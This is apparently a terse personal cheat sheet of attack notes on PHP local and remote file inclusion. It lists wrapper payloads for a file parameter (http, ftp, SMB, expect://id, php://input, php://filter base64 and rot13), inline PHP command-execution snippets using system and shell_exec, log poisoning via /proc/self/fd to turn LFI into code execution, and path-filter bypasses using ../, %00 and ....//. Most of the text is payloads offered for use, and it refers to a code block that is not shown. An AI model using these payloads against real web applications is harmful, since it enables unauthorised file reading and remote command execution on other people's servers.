# protocol wraper
file=http://IP/
file=ftp://IP/
file=//IP/smb-share/file
# expect wrapper
# allows to run system commands
file=expect://id
# input wrapper
file=php://input
# needs to send POST data
<?php system('id'); ?> | <?php shell_exec('id'); ?>
# filter wrappers
file=php://filter/resource=PHP-FILE
file=filter/read=string.rot13/resource=PHP-FILE
file=php://filter/convert.base64-encode/resource=PHP-FILE
LFI to RCE (linux)
# using LFI can read access log files and then log poision
# if user does not have perms to read log files; can do file descriptor way
LFI=/proc/self/fd/{NUMBER}
# once have access to log file > log-poisoning.
The above code block includes any value given to the file parameter as long as its in the downloads directory and appends .php to the user input value. To bypass use ../../../<> and value ending with %00.
When there is substitution for ../, bypass using ....// as it will convert to ../
RFI PHP Code Analysis
Requirement for RFI to work is allow_url_fopen and allow_url_include